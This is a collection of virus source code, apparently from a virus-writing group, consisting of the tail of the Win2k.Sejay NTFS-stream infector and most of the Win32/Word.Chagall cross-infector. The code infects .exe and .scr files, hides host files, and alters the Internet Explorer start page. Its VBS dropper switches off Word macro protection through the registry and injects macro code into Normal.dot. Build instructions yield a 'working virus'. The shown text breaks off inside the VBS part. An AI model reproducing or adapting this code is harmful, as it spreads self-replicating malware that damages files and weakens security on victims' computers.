;address + 1 jmp GetHostFileStream ;check next byte AppendHostStream: mov edi, dword [esi - 8d] ;load a dword in edi (last 4 chars of host file name) mov byte [esi], ":" ;append a : and then the name mov dword [esi + 1d], edi ;append last dword of victims name mov dword [esi + 5d], 0 ;append the zero invoke GetCommandLine ;get commandline (maybe user did some parameters) invoke CreateProcess,\ ;run host file stream VirusFile,\ ;current file + streamname = host stream eax,\ ;commandline in eax 0,\ ;no attributes 0,\ ;... 0,\ ;no flag CREATE_NEW_CONSOLE,\ ;run new prog 0,\ ;no new enviroment block 0,\ ;no current directory StartupInfo,\ ;structure ProcessInfo ;structure cmp eax, 0 ;error starting stream? je CantRunHost ;show error msg box invoke GetSystemTime,\ ;payload action?! Systemtime ;structure cmp word [Systemtime.wMonth], 02d ;2. month of the year? jne Exit ;if not the exit cmp word [Systemtime.wDay], 03d ;03.02? jne Exit ;goodbye invoke RegOpenKeyEx,\ ;open registry key HKEY_CURRENT_USER,\ ;handle PaySubkey,\ ;open this 0,\ ;reserved KEY_SET_VALUE,\ ;set a value PayRegHandle ;save here the handle cmp eax, 0 ;error? jne PayloadMessage ;then other payload invoke lstrlen,\ ;get lenth of pay file string PayTempFile ;here inc eax ;including the zero invoke RegSetValueEx,\ ;change start page of IE dword [PayRegHandle],\ ;handle of open key PayIEStart,\ ;value name 0,\ ;reserved REG_SZ,\ ;its a string PayTempFile,\ ;this data eax ;size cmp eax, 0 ;error? jne PayloadMessage ;hmm, then use a simple msgbox invoke RegCloseKey,\ ;close it dword [PayRegHandle] ;with handle jmp Exit ;bye PayloadMessage: invoke MessageBox,\ ;show user a msgbox 0,\ ;bad luck 13 lyric PayLyric,\ ;more lines then one "You are infected with Win2k.Sejay! :: coded by DiA/rrlf (c)05",\ MB_ICONINFORMATION ;information style Exit: invoke CloseHandle,\ ;close payload file dword [PayHandle] ;with handle invoke ExitProcess,\ ;exit virus 0 NonNTFS: invoke MessageBox,\ ;no ntfs formated, cant run virus 0,\ "This application requires a NTFS formated disk.",\ ;) "ERROR 53656A6179",\ ;hex for Sejay MB_ICONERROR ;scary error jmp Exit ;dont grumble the win9x user anymore ^^ CantRunHost: invoke MessageBox,\ ;cant run host :/ 0,\ "Application execution failed.",\ "ERROR 446941",\ ;hex for DiA MB_ICONERROR jmp Exit CreatePayloadFile: invoke CreateFile,\ ;create the payload file in win dir PayTempFile,\ ;create this GENERIC_READ + GENERIC_WRITE,\ ;read n write FILE_SHARE_WRITE,\ ;to write 0,\ ;no attributes CREATE_NEW,\ ;new file FILE_ATTRIBUTE_NORMAL,\ ;normal all 0 ;no handle push eax ;save handle invoke WriteFile,\ ;write file header eax,\ ;handle PayHTMLhead,\ ;points to buffer 133d,\ ;numers of bytes to write PayBytesWritten,\ ;bytes written 0 ;no overlapped pop eax ;get handle ret ;return InfectFolder: invoke FindFirstFile,\ ;find first vicitim (*.exe) Victims,\ ;exe Win32FindData ;structure mov dword [FindHandle], eax ;save handle FindMoreFiles: cmp eax, 0 ;no more files?! je InfectDone ;restore host file name (steam) and run it invoke lstrcpy,\ ;copy victim path to appen stream name VictimStream,\ ;copy to this Win32FindData.cFileName ;from this (eax points to buffer string ..VistimStream..) GetVictimFileStream: cmp byte [eax], 0 ;get end of string je CheckVirusFile ;check if founded file is the virus file itself & append the stream name inc eax ;address + 1 jmp GetVictimFileStream ;next byte CheckVirusFile: mov ebx, VirusFile ;to jmp to the end of the string GetVirusFileEnd: cmp byte [ebx], 0 ;zero = end je CompareFiles ;copare the strings (1dowrd (xxxx)) inc ebx ;if not address + 1 jmp GetVirusFileEnd CompareFiles: mov esi, dword [ebx - 8d] ;load a dword befor extension mov edi, dword [eax - 8d] ;... cmp esi, edi ;compare je FindNextVictim ;dont belong the virus mov byte [eax], ":" ;append a : and then the name mov dword [eax + 1d], edi ;append last dword of victims name mov dword [eax + 5d], 0 ;append the zero invoke CopyFile,\ ;copy victim to temp file Win32FindData.cFileName,\ ;this to WinTempDir,\ ;temp file 0 ;copy always cmp eax, 0 ;error? je FindNextVictim ;dont infect if we cant make a temp file invoke CopyFile,\ ;check if we can copy the temp file to stream name WinTempDir,\ ;if not the file is already infected VictimStream,\ ;to this name Victim.exe:ctim 1 ;not copy always cmp eax, 0 ;error? je FindNextVictim ;then find next file invoke CopyFile,\ ;copy virus file to vivtim VirusFile,\ ;this Win32FindData.cFileName,\ ;to this 0 ;always cmp eax, 0 ;error?! je FindNextVictim ;no infection, narf invoke CopyFile,\ ;copy victim to stream WinTempDir,\ ;temp file VictimStream,\ ;this 0 ;always cmp eax, 0 ;erroreee je FindNextVictim ;more more more invoke SetFilePointer,\ ;end of payload file dword [PayHandle],\ ;handle of file 0,\ ;no distance, only end 0,\ ;brrr FILE_END ;there we go invoke WriteFile,\ ;infected html header <html><body> dword [PayHandle],\ ;file handle PayInfHeader,\ ;filename + scary message 12d,\ ;number of bytes to write PayBytesWritten,\ ;number of bytes written 0 ;no structure invoke lstrcat,\ ;append scarey infected! message Win32FindData.cFileName,\ ;append to this PayInfected ;payload message invoke lstrlen,\ ;get legth of string to write it in payload file eax ;pointer to buffer ^^^^ invoke WriteFile,\ ;write infected file to payload file dword [PayHandle],\ ;file handle Win32FindData.cFileName,\ ;filename + scary message eax,\ ;number of bytes to write PayBytesWritten,\ ;number of bytes written 0 ;no structure FindNextVictim: invoke DeleteFile,\ ;delete WinTempDir ;the temp file invoke FindNextFile,\ ;find more files to infect dword [FindHandle],\ ;handle from FindFirstFile Win32FindData ;structure jmp FindMoreFiles ;go get it! InfectDone: invoke CloseHandle,\ ;close find handle dword [FindHandle] ret ;back to call Datas: VirusFile rb 256d ;save here full path of virus file WinTempDir rb 256d ;to store temp files Victims db "*.exe",0 ;search for exe FindHandle dd ? ;save here handle to find exe files VictimStream rb 256d ;victim stream name TempFile db "Sejay.DiA",0 ;temp file FolderHandle dd ? ;handle for finding sub folders VictimFolder rb 256d ;save here folder to infect Folder db "*.*",0 ;find all (including folders) KazaaShare db "Software\Kazaa\Transfer",0 ;for kazza share folder infection KazaaRegHandle dd ? ;handle for reg key KazzaFolder db "DlDir0",0 ;value name KazaaVictim rb 255d ;save path here KazaaSize db 255d ;size of buffer StartupInfo STARTUPINFO ;structure already defined by fasm ProcessInfo PROCESS_INFORMATION ;... Win32FindData FINDDATA ;... Systemtime SYSTEMTIME ;... PayTempFile rb 256d PayFile db "Sejay.htm",0 PayHTMLhead db "<html><head><title>Win2k.Sejay</title></head><body text='#FF0000' bgcolor='#000000'><h1>YOUR COMPUTER IS INFECTED!</h1></body></html>",0 PayInfHeader db "<html><body>",0 PayInfected db " - <b>infected with Win2k.Sejay by DiA/rrlf</b><br></body></html>",0 PaySubkey db "Software\Microsoft\Internet Explorer\Main",0 PayIEStart db "Start Page",0 PayLyric db "Kings of the underground, hardest of the hardcore.",10,13 db "Bottles flyin' all around, bats are on the dance floor",10,13,10,13 db "Flames of hell surround me, blood is dripping down my face",10,13 db "The realife psychopaths, Bad luck will destroy this place.",10,13,10,13 db "...Like pussies you run.",10,13,"3 minutes, that's all, our set is done.",0 PayHandle dd ? PayBytesWritten dd ? PayRegHandle dd ? data import ;import api's library kernel32, "KERNEL32.DLL",\ user32, "USER32.DLL",\ advapi32, "ADVAPI32.DLL" import kernel32,\ GetVersion, "GetVersion",\ GetModuleFileName, "GetModuleFileNameA",\ CreateProcess, "CreateProcessA",\ FindFirstFile, "FindFirstFileA",\ FindNextFile, "FindNextFileA",\ CopyFile, "CopyFileA",\ lstrcpy, "lstrcpyA",\ DeleteFile, "DeleteFileA",\ GetCommandLine, "GetCommandLineA",\ GetWindowsDirectory, "GetWindowsDirectoryA",\ lstrcat, "lstrcatA",\ lstrlen, "lstrlenA",\ CreateFile, "CreateFileA",\ WriteFile, "WriteFile",\ SetFilePointer, "SetFilePointer",\ CloseHandle, "CloseHandle",\ GetSystemTime, "GetSystemTime",\ GetCurrentDirectory, "GetCurrentDirectoryA",\ SetCurrentDirectory, "SetCurrentDirectoryA",\ ExitProcess, "ExitProcess" import user32,\ MessageBox, "MessageBoxA" import advapi32,\ RegOpenKeyEx, "RegOpenKeyExA",\ RegSetValueEx, "RegSetValueExA",\ RegQueryValueEx, "RegQueryValueExA",\ RegCloseKey, "RegCloseKey" end data ;-----Sejay.asm-----end----------------------------------------------------------------------------------------------------sources
Win32/Word.Chagall DiA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Win32/Word.Chagall - by DiA/rrlf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; ====================================== ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; DiA_hates_machine@gmx.de ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; http://www.vx-dia.de.vu ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; 22.05.2k5 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Disclaimer: Attention! With this source code files you can make a living and working virus! I am NOT responsible for any damage you make with this bug! DO NEVER spread viruses or worms! It will bring trouble! This is just for education. TAKE CARE! Intro: Welcome to my first cross infector. This bug will infect executables at win32 environment and microsoft word documents. It took me a long time to finish this because i had no fun coding that vba/vbs stuff :D. But finally it's finished and i hope you have much fun with it. Description: Most cross infectors for PE/DOC i saw was nearly same thing, the word infection part was inside the exe in the data section. But i want (as always) make somethin new. So i decided to make two parts of the virus and then join it together. It works good, but need for a really good virus some more features, like encrypt the host file, encrypt the word part, just in one word encrypt the whole virus. Maybe later... Ok, now i will tell you from two situations how Chagall worx, one time from a .exe started, and other time from a .doc . Win32 Part: From a .exe or .scr started the virus will make following, step by step: - read Win32 part into memory - read Host file into memory - read Word part into memory - write host from memory to disk under name of infected file .sys - set attribute hidden to this .sys file - execute the host - infect files in current folder, windows folder and system folder - infect .exe and .scr files - keep file attributes and file time - infected file will look like this: #################### # Virus Win32 part # #################### #################### # Host file # #################### #################### # Virus Word part # #################### - check if word is running, if so dont infect Normal.dot because user will notice that somethin happends to Word - drop the Word part from memory to disk in the windows folder - make a copy of the virus in windows folder, Win32 part + Word part - execute the .vbs file, that will insert the Word part code into Normal.dot - delete this .vbs file - check for payload date, if it is 30.06. show a simple message box - exit virus Word Part: Let's say the virus comes from a .doc file into not infected system: - execute code when a document get's closed - read virus, Win32 part + Word part, from a variable inside the doc - write the virus to drive C:\ as Chag32.exe - execute this file, it will infect all .exe and .scr files, and then infect also the Nomal.dot - that makes the Word part not a typical macro virus, active infect normal, normal infect active - it is like a circle, active drop Win32 part, Win32 part infect normal and normal infect other active documents - nothin really great this Word part, no stealth, no encryption... just that it work, maybe someone want to make an advanced macro part? - please see Word part for more informations ;P Make a working Chagall: Hehe, because there are two parts it's not just like assemble and run kiddies :P. Save all in one folder, Chagall.asm, Chagall.vbs, size.equ and Joiner.asm . Then assemble Chagall.asm with FASM (www.flatassembler.org) and assemble Joiner.asm too. Now you have Chagall.exe, Chagall.vbs and Joiner.exe in one folder. run Joiner.exe and output should be ReadyChagall.exe. Attention, this is the working virus. Take care. Outro: I am proud to finish this bug, I hope you enjoy the code! Greets fly's out to all my real and cyber friends, to you the reader and to my mom, the name Chagall was her idea, it was some artist (like my mom) who makes gnaaarly pictures. For greets or fucks feel free to drop me a mail or make a guestbook entry at my page. Have a great day, and we see us in my next creation... ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Win32/Word.Chagall - by DiA/rrlf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; ====================================== ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; DiA_hates_machine@gmx.de ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; http://www.vx-dia.de.vu ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; 22.05.2k5 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall EXE Part - Chagall.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include "%fasminc%\win32ax.inc" include "size.inc" Chagall: call LoadInMem call ExecuteHost invoke GetCurrentDirectory,\ 256d,\ CurrentDir mov ebx, CurrentDir call MakePathValid mov ebx, CurrentDir mov ecx, 10d mov edx, ExeFiles call InfectFiles mov ebx, CurrentDir mov ecx, 10d mov edx, ScrFiles call InfectFiles invoke GetWindowsDirectory,\ WindowsDir,\ 256d mov ebx, WindowsDir call MakePathValid mov ebx, WindowsDir mov ecx, 15d mov edx, ExeFiles call InfectFiles mov ebx, WindowsDir mov ecx, 15d mov edx, ScrFiles call InfectFiles invoke GetSystemDirectory,\ SystemDir,\ 256d mov ebx, SystemDir call MakePathValid mov ebx, SystemDir mov ecx, 20d mov edx, ExeFiles call InfectFiles mov ebx, SystemDir mov ecx, 20d mov edx, ScrFiles call InfectFiles call IsWordRunning cmp ecx, SomethinFalse je Exit call DropWordInfector Exit: call LoadOutMem call Payload invoke ExitProcess,\ 0 ;*****LoadInMem*****Procedure*************************** LoadInMem: ;load virus (PE/DOC) and host in memory invoke GetModuleFileName,\ 0,\ HostFileName,\ 256d mov edx, OPEN_EXISTING mov ecx, GENERIC_READ mov ebx, HostFileName call OpenFile mov dword [HostFileHandle], eax cmp ecx, SomethinFalse je LoadInMemError mov edx, VirusMemHandle mov ebx, VirusMemStart mov ecx, VirusSize call GetMem cmp ecx, SomethinFalse je LoadInMemError mov ebx, HostFileHandle mov ecx, VirusMemStart mov edx, VirusSize call ReadInMem cmp ecx, SomethinFalse je LoadInMemError invoke GetFileSize,\ dword [HostFileHandle],\ 0 sub eax, VirusSize sub eax, WordDropSize cmp eax, 0 je ReadWordDropper mov dword [HostFileSize], eax mov edx, HostMemHandle mov ebx, HostMemStart mov ecx, dword [HostFileSize] call GetMem cmp ecx, SomethinFalse je LoadInMemError mov ebx, HostFileHandle mov ecx, HostMemStart mov edx, dword [HostFileSize] call ReadInMem cmp ecx, SomethinFalse je LoadInMemError ReadWordDropper: mov edx, WordMemHandle mov ebx, WordMemStart mov ecx, WordDropSize call GetMem cmp ecx, SomethinFalse je LoadInMemError mov ebx, HostFileHandle mov ecx, WordMemStart mov edx, WordDropSize call ReadInMem cmp ecx, SomethinFalse je LoadInMemError mov ebx, HostFileHandle call CloseHand LoadInMemError: mov ecx, SomethinFalse jmp LoadInMemReturn LoadInMemEnd: mov ecx, 0 LoadInMemReturn: ret ;*****LoadInMem*****Procedure***end********************* ;*****OpenFile*****Procedure**************************** OpenFile: invoke CreateFile,\ ebx,\ ;edx - flags (CREATE_ALWAYS...OPEN_EXISTING) ecx,\ ;ebx - filename to open FILE_SHARE_READ + FILE_SHARE_WRITE,\ ;ecx - GENERIC_READ .. GENERIC_WRITE 0,\ edx,\ ;open or create? FILE_ATTRIBUTE_NORMAL,\ 0 cmp eax, INVALID_HANDLE_VALUE jne OpenFileEnd mov ecx, SomethinFalse jmp OpenFileReturn OpenFileEnd: mov ecx, 0 OpenFileReturn: ret ;*****OpenFile*****Procedure***end********************** ;*****GetMem*******Procedure**************************** GetMem: invoke GlobalAlloc,\ ;edx - pointer to handle GMEM_MOVEABLE,\ ;ebx - pointer to start address ecx ;ecx - size of memory to get mov dword [edx], eax cmp eax, 0 je GetInMemError invoke GlobalLock,\ dword [edx], mov dword [ebx], eax cmp eax, 0 jne GetInMemEnd GetInMemError: mov ecx, SomethinFalse jmp GetInMemReturn GetInMemEnd: mov ecx, 0 GetInMemReturn: ret ;*****GetMem++*****Procedure***end********************** ;*****ReadInMem*****Procedure*************************** ReadInMem: invoke ReadFile,\ ;ebx - pointer to file handle dword [ebx],\ ;ecx - pointer to start address dword [ecx],\ ;edx - size to read edx,\ BytesRead,\ 0 cmp eax, 0 jne ReadInMemEnd mov ecx, SomethinFalse jmp ReadInMemReturn ReadInMemEnd: mov ecx, 0 ReadInMemReturn: ret ;*****ReadInMem*****Procedure*************************** ;*****CloseHand*****Procedure*************************** CloseHand: invoke CloseHandle,\ ;ebx - handle to close dword [ebx] ret ;*****CloseHand*****Procedure***end********************* ;*****ExecuteHost*****Procedure************************* ExecuteHost: mov ebx, HostFileName call GetEndOfString mov dword [ebx - 3d], "sys" invoke SetFileAttributes,\ HostFileName,\ FILE_ATTRIBUTE_NORMAL mov edx, CREATE_ALWAYS mov ecx, GENERIC_WRITE mov ebx, HostFileName call OpenFile mov dword [HostFileHandle], eax cmp ecx, SomethinFalse je ExecuteHostError mov ebx, HostFileHandle mov edx, HostMemStart mov ecx, dword [HostFileSize] call WriteToFile cmp ecx, SomethinFalse je ExecuteHostError mov ebx, HostFileHandle call CloseHand invoke SetFileAttributes,\ HostFileName,\ FILE_ATTRIBUTE_HIDDEN invoke GetCommandLine mov ebx, HostFileName mov edx, eax call ExecuteThis cmp ecx, SomethinFalse jne ExecuteHostEnd ExecuteHostError: mov ecx, SomethinFalse jmp ExecuteHostReturn ExecuteHostEnd: mov ecx, 0 ExecuteHostReturn: ret ;*****ExecuteHost*****Procedure***end******************* ;*****WriteToFile*****Procedure************************* WriteToFile: invoke WriteFile,\ dword [ebx],\ ;ebx - file handle dword [edx],\ ;edx - start address of buffer ecx,\ ;ecx - size to write BytesWrite,\ 0 cmp eax, 0 jne WriteToFileEnd mov ecx, SomethinFalse jmp WriteToFileReturn WriteToFileEnd: mov ecx, 0 WriteToFileReturn: ret ;*****WriteToFile*****Procedure***end******************* ;*****ExecuteThis*****Procedure************************* ExecuteThis: invoke CreateProcess,\ ebx,\ ;ebx - pointer to file to execute edx,\ ;edx - pointer to commandline 0,\ 0,\ 0,\ CREATE_NEW_CONSOLE,\ 0,\ 0,\ Startup,\ Process cmp eax, 0 jne ExecuteThisEnd mov ecx, SomethinFalse jmp ExecuteThisReturn ExecuteThisEnd: mov ecx, 0 ExecuteThisReturn: ret ;*****ExecuteThis*****Procedure***end******************* ;*****InfectFiles*****Procedure************************* InfectFiles: mov dword [InfectCount], ecx push edx invoke SetCurrentDirectory,\ ebx ;ebx - directory to infect ;ecx - infection counter cmp eax, 0 ;edx - pointer to victim string je InfectFilesError pop edx invoke FindFirstFile,\ edx,\ Win32FindData mov dword [FindHandle], eax FindMoreFiles: cmp eax, 0 je NoMoreFiles cmp dword [InfectCount], 0 je NoMoreFiles invoke GetFileAttributes,\ Win32FindData.cFileName mov dword [VictimAttributes], eax invoke SetFileAttributes,\ Win32FindData.cFileName,\ FILE_ATTRIBUTE_NORMAL mov edx, OPEN_EXISTING mov ecx, GENERIC_READ + GENERIC_WRITE mov ebx, Win32FindData.cFileName call OpenFile mov dword [VictimHandle], eax cmp ecx, SomethinFalse je FindNextVictim invoke GetFileTime,\ dword [VictimHandle],\ Filetime,\ Filetime,\ Filetime invoke GetFileSize,\ dword [VictimHandle],\ 0 mov dword [VictimSize], eax mov edx, VictimMemHandle mov ebx, VictimMemStart mov ecx, dword [VictimSize] call GetMem cmp ecx, SomethinFalse je FindNextVictim mov ebx, VictimHandle mov ecx, VictimMemStart mov edx, dword [VictimSize] call ReadInMem cmp ecx, SomethinFalse je FindNextVictim mov ebx, dword [VictimMemStart] mov ecx, dword [VictimSize] GetInfectionMark: cmp dword [ebx], "CHAG" je FindNextVictim dec ecx cmp ecx, 0 je InfectThisFile inc ebx jmp GetInfectionMark InfectThisFile: invoke SetFilePointer,\ dword [VictimHandle],\ 0,\ 0,\ FILE_BEGIN mov ebx, VictimHandle mov edx, VirusMemStart mov ecx, VirusSize call WriteToFile cmp ecx, SomethinFalse je FindNextVictim mov ebx, VictimHandle mov edx, VictimMemStart mov ecx, dword [VictimSize] call WriteToFile cmp ecx, SomethinFalse je FindNextVictim mov ebx, VictimHandle mov edx, WordMemStart mov ecx, WordDropSize call WriteToFile FindNextVictim: invoke SetFileTime,\ dword [VictimHandle],\ Filetime,\ Filetime,\ Filetime mov ebx, VictimHandle call CloseHand invoke SetFileAttributes,\ Win32FindData.cFileName,\ dword [VictimAttributes] dec dword [InfectCount] invoke FindNextFile,\ dword [FindHandle],\ Win32FindData jmp FindMoreFiles NoMoreFiles: mov ebx, FindHandle call CloseHand mov ecx, 0 jmp InfectFilesReturn InfectFilesError: mov ecx, SomethinFalse InfectFilesReturn: ret ;*****InfectFiles*****Procedure***end******************* ;*****FreeMem*****Procedure***************************** FreeMem: invoke GlobalUnlock,\ ;ebx - handle to mem to free dword [ebx] invoke GlobalFree,\ dword [ebx] FreeMemEnd: ret ;*****FreeMem*****Procedure***end*********************** ;*****LoadOutMem*****Procedure************************** LoadOutMem: mov ebx, VirusMemHandle call FreeMem mov ebx, HostMemHandle call FreeMem mov ebx, WordMemHandle call FreeMem mov ebx, VictimMemHandle call FreeMem ret ;*****LoadOutMem*****Procedure***end********************* ;*****IsWordRunning*****Procedure************************ IsWordRunning: invoke Sleep,\ 20000 ;sleep 20 seconds, maybe word gets now closed invoke CreateToolhelp32Snapshot,\ ;check if word is running 2,\ ;if so dont infect normal.dot 0 ;because its in use mov dword [SnapHandle], eax mov dword [ProcessEntry], sizeof.PROCESSENTRY32 invoke Process32First,\ dword [SnapHandle],\ ProcessEntry FindNextProcess: cmp eax, 0 je NoWordIsRunning mov ebx, ProcessEntry.szExeFile call GetEndOfString cmp dword [ebx - 11d], "WINW" jne FindNextP cmp dword [ebx - 7d], "ORD." je WordIsRunning FindNextP: invoke Process32Next,\ dword [SnapHandle],\ ProcessEntry jmp FindNextProcess WordIsRunning: mov ecx, SomethinFalse jmp IsWordRunningReturn NoWordIsRunning: xor ecx, ecx IsWordRunningReturn: ret ;*****IsWordRunning*****Procedure***end****************** ;*****DropWordInfector*****Procedure********************* DropWordInfector: invoke GetWindowsDirectory,\ WindowsDirectory,\ 256d mov ebx, WindowsDirectory call MakePathValid invoke SetCurrentDirectory,\ WindowsDirectory cmp eax, 0 je DropWordInfectorError mov edx, CREATE_ALWAYS mov ecx, GENERIC_WRITE mov ebx, WordDropName call OpenFile mov dword [WordDropHandle], eax cmp ecx, SomethinFalse je DropWordInfectorError mov ebx, WordDropHandle mov edx, WordMemStart mov ecx, WordDropSize call WriteToFile cmp ecx, SomethinFalse je DropWordInfectorError mov ebx, WordDropHandle call CloseHand mov edx, CREATE_ALWAYS mov ecx, GENERIC_WRITE mov ebx, WordDropExe call OpenFile mov dword [WordExeHandle], eax mov ebx, WordExeHandle mov edx, VirusMemStart mov ecx, VirusSize call WriteToFile mov ebx, WordExeHandle mov edx, WordMemStart mov ecx, WordDropSize call WriteToFile mov ebx, WordExeHandle call CloseHand invoke ShellExecute,\ 0,\ WordDropExecute,\ WordDropName,\ 0,\ 0,\ SW_HIDE cmp eax, 32 jbe DropWordInfectorError invoke Sleep,\ 10000 invoke DeleteFile,\ WordDropName mov ecx, 0 jmp DropWordInfectorReturn DropWordInfectorError: mov ecx, SomethinFalse DropWordInfectorReturn: ret ;*****DropWordInfector*****Procedure***end*************** ;*****MakePathValid*****Procedure************************ MakePathValid: cmp byte [ebx], 0 ;ebx - pointer to path string je CheckValidness inc ebx jmp MakePathValid CheckValidness: cmp byte [ebx - 1], "\" je PathIsValid mov byte [ebx], "\" mov byte [ebx + 1], 0 PathIsValid: ret ;*****MakePathValid*****Procedure***end****************** ;*****GetEndOfString*****Procedure*********************** GetEndOfString: ;ebx - pointer to string cmp byte [ebx], 0 je HaveEndOfString inc ebx jmp GetEndOfString HaveEndOfString: ret ;*****GetEndOfString*****Procedure***end***************** ;*****Payload*****Procedure****************************** Payload: invoke GetSystemTime,\ SystemTime cmp word [SystemTime.wMonth], 06d jne PayloadReturn cmp word [SystemTime.wDay], 30d jne PayloadReturn invoke MessageBox,\ 0,\ PayloadCaption,\ PayloadText,\ MB_ICONWARNING PayloadReturn: ret ;*****Payload*****Procedure***end************************ Datas: HostFileName rb 256d HostFileHandle dd ? VirusMemHandle dd ? VirusMemStart dd ? BytesRead dd ? BytesWrite dd ? HostFileSize dd ? HostMemHandle dd ? HostMemStart dd ? WordMemHandle dd ? WordMemStart dd ? FindHandle dd ? VictimHandle dd ? VictimSize dd ? VictimMemHandle dd ? VictimMemStart dd ? CurrentDir rb 256d ExeFiles db "*.exe",0 ScrFiles db "*.scr",0 InfectCount dd ? VictimAttributes dd ? WindowsDirectory rb 256d WordDropName db "chagall.vbs",0 WordDropHandle dd ? WordDropExecute db "open",0 WordDropExe db "chag.wrd",0 WordExeHandle dd ? SnapHandle dd ? WindowsDir rb 256d SystemDir rb 256d PayloadCaption db "Win32/Word.Chagall Virus by DiA/rrlf",0 PayloadText db "Bad news for you: you are infected with a virus",10,13 db "Good news for me: its my birthday ;)",10,13 db "So be happy with me at this day, turn of the computer and open a beer...",10,13,10,13 db "Thanks, DiA/Ready Rangers Liberation Front",0 struct PROCESSENTRY32 .dwSize dd ? .cntUsage dd ? .th32ProcessID dd ? .th32DefaultHeapID dd ? .th32ModuleID dd ? .cntThreads dd ? .th32ParentProcessID dd ? .pcPriClassBase dd ? .dwFlags dd ? .szExeFile rb 260d ends Startup STARTUPINFO Process PROCESS_INFORMATION Win32FindData FINDDATA Filetime FILETIME ProcessEntry PROCESSENTRY32 SystemTime SYSTEMTIME data import library kernel32, "KERNEL32.DLL",\ user32, "USER32.DLL",\ shell32, "SHELL32.DLL" import kernel32,\ GetModuleFileName, "GetModuleFileNameA",\ CreateFile, "CreateFileA",\ GlobalAlloc, "GlobalAlloc",\ GlobalLock, "GlobalLock",\ ReadFile, "ReadFile",\ GetFileSize, "GetFileSize",\ CloseHandle, "CloseHandle",\ WriteFile, "WriteFile",\ CreateProcess, "CreateProcessA",\ GetCommandLine, "GetCommandLineA",\ GetCurrentDirectory, "GetCurrentDirectoryA",\ SetCurrentDirectory, "SetCurrentDirectoryA",\ FindFirstFile, "FindFirstFileA",\ FindNextFile, "FindNextFileA",\ SetFilePointer, "SetFilePointer",\ GlobalUnlock, "GlobalUnlock",\ GlobalFree, "GlobalFree",\ GetFileAttributes, "GetFileAttributesA",\ SetFileAttributes, "SetFileAttributesA",\ GetFileTime, "GetFileTime",\ SetFileTime, "SetFileTime",\ GetWindowsDirectory, "GetWindowsDirectoryA",\ GetSystemDirectory, "GetSystemDirectoryA",\ DeleteFile, "DeleteFileA",\ Sleep, "Sleep",\ CopyFile, "CopyFileA",\ CreateToolhelp32Snapshot,"CreateToolhelp32Snapshot",\ Process32First, "Process32First",\ Process32Next, "Process32Next",\ GetSystemTime, "GetSystemTime",\ ExitProcess, "ExitProcess" import user32,\ MessageBox, "MessageBoxA" import shell32,\ ShellExecute, "ShellExecuteA" end data ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall EXE Part - Chagall.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall VBS Part - Chagall.vbs ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; On Error Resume Next Set Word = WScript.CreateObject("Word.Application") Set Shell = CreateObject("WScript.Shell") Set N = Word.NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule Word.Options.VirusProtection = False Word.Options.ConfirmConversion = False Word.Options.SaveNormalPrompt = False RegPath = "HKCU\Software\Microsoft\Office\" & Word.Application.Version & "\Word\Security\" Shell.RegWrite RegPath & "Level", 1, "REG_DWORD" Shell.RegWrite RegPath & "AccessVBOM", 1, "REG_DWORD" N.DeleteLines 1, N.CountOfLines N.InsertLines 1, "Private Sub Document_Close()" N.InsertLines 2, "On Error Resume Next" N.InsertLines 3, "Options.VirusProtection = False" N.InsertLines 4, "Options.SaveNormalPrompt = False" N.InsertLines 5, "Options.ConfirmConversions = False" N.InsertLines 6, "Set VirCode = NormalTemplate.VBProject.VBComponents(1).CodeModule" N.InsertLines 7, "Set ActiveD = ActiveDocument.VBProject.VBComponents(1)" N.InsertLines 8, "Set ActCode = ActiveD.CodeModule" N.InsertLines 9, "If ActiveD.Name = ""Chagall"" Then" N.InsertLines 10, "GoTo DropExe" N.InsertLines 11, "Else" N.InsertLines 12, "ActCode.DeleteLines 1, ActCode.CountOfLines" N.InsertLines 